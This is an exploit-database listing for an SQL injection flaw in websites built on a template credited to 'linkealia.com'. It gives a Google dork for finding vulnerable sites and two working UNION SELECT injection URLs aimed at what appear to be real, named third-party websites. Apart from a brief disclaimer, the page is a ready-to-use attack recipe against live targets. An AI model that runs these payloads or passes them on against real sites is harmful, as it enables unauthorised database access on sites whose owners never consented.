Design: linkealia.com - Sql Injection Vulnerability
CVE
Category
Price
Severity
N/A
CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
N/A
High
Author
Risk
Exploitation Type
Date
Unknown
High
Remote
2022-03-17
CPE
cpe:cpe:/a:design:linkealia:1.0.0
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022030081 Design: linkealia.com - Sql Injection Vulnerability *********************************************************
#Exploit Title: Design: linkealia.com - Sql Injection Vulnerability
#Date: 2022-03-15
#Exploit Author: Behrouz Mansoori
#Google Dork: "Design: linkealia.com"
#Category:webapps
#Tested On: windows 10, Firefox
Proof of Concept:
Search google Dork: "Design: linkealia.com"
### Demo :
http://estetica-avanzada.com/categoria.php?id=11%20UNION%20SELECT%201,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59--
http://jessicalimoni.com/property-for-rent.php?id=-58%20UNION%20SELECT%201,2,3,4,5,6,7,version(),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60--
*********************************************************
#Discovered by: Behrouz mansoori
#Instagram: Behrouz_mansoori
#Email: [email protected]
*********************************************************
Copyright ©2024 Exploitalert.
This information is provided for TESTING and LEGAL RESEARCH purposes only.Terms of Use and Privacy Policy and Impressum